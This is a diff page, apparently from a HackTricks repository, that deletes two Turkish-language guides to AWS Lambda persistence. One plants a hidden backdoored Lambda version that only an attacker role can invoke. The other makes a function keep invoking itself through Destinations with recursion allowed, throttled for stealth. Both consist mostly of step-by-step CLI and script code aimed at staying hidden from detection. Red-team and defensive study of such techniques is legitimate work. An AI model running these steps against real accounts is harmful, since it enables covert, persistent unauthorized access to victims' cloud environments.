- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,88 +0,0 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Özet
|
||||
|
||||
Saldırgan mantığı içeren gizli bir Lambda sürümü oluşturun ve `lambda add-permission` içindeki `--qualifier` parametresini kullanarak kaynak tabanlı bir policy'i o belirli sürüme (veya alias'a) uygulayın. Sadece `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` üzerindeki `lambda:InvokeFunction` iznini saldırgan principal'e verin. Fonksiyon adı veya birincil alias üzerinden yapılan normal çağrılar etkilenmez; ancak saldırgan arka kapılı sürümün ARN'sini doğrudan çağırabilir.
|
||||
|
||||
Bu, bir Function URL açığa çıkarmaya göre daha gizlidir ve birincil trafik alias'ını değiştirmez.
|
||||
|
||||
## Gerekli İzinler (saldırgan)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (to add version-scoped resource policy)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
|
||||
|
||||
## Saldırı Adımları (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Gizli sürümü yayımla, qualifier-kapsamlı izin ekle, saldırgan olarak çağır</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impact
|
||||
|
||||
- primary alias'ı değiştirmeden veya bir Function URL açığa çıkarmadan, fonksiyonun gizli bir version/alias'ını çağırmak için sinsi bir backdoor sağlar.
|
||||
- Kaynak tabanlı politika `Qualifier` aracılığıyla yalnızca belirtilen version/alias'a maruziyeti sınırlar; tespit yüzeyini azaltırken attacker principal için güvenilir çağrıyı korur.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,95 +0,0 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Lambda asynchronous Destinations ile Recursion yapılandırmasını birlikte kullanarak bir fonksiyonun herhangi bir harici zamanlayıcı (EventBridge, cron vb. olmadan) sürekli olarak kendini yeniden çağırmasını sağlayın. Varsayılan olarak, Lambda özyinelemeli döngüleri sonlandırır, ancak recursion config'i Allow olarak ayarlamak bunları yeniden etkinleştirir. Destinations, async invokes için servis tarafında teslimat yapar; bu yüzden tek bir seed invoke gizli, kod içermeyen bir heartbeat/backdoor kanalı oluşturur. Gürültüyü düşük tutmak için isteğe bağlı olarak reserved concurrency ile sınırlandırın.
|
||||
|
||||
Notes
|
||||
- Lambda, bir fonksiyonu doğrudan kendi destination'ı olarak yapılandırmaya izin vermez. Destination olarak bir function alias kullanın ve execution role'un o alias'ı invoke etmesine izin verin.
|
||||
- Minimum izinler: hedef fonksiyonun event invoke config ve recursion config'ini okuma/güncelleme yetkisi, bir version publish etme ve bir alias yönetme, ve function'ın execution role policy'sini güncelleyerek alias üzerinde lambda:InvokeFunction izni verme.
|
||||
|
||||
## Requirements
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Steps
|
||||
|
||||
1) Fonksiyon ARN'sini ve mevcut recursion ayarını alın
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Bir sürüm yayınlayın ve bir alias oluşturun/güncelleyin (kendi hedefi olarak kullanılır)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Fonksiyonun yürütme rolünün alias'ı çağırmasına izin verin (Lambda Destinations→Lambda tarafından gereklidir)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) async destination'ı alias'a (alias üzerinden kendisine) yönlendir ve retries'i devre dışı bırak
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Özyinelemeli döngülere izin ver
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Tek bir asynchronous invoke başlat
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) Sürekli çağrıları gözlemleyin (örnekler)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) İsteğe bağlı stealth throttle
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Temizleme
|
||||
Döngüyü sonlandırın ve persistence'i kaldırın.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Etki
|
||||
- Tek bir async invoke, Lambda'nın harici bir zamanlayıcı olmadan sürekli kendini yeniden çağırmasına neden olur; bu da stealthy persistence/heartbeat sağlar. Reserved concurrency, gürültüyü tek bir warm execution ile sınırlayabilir.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user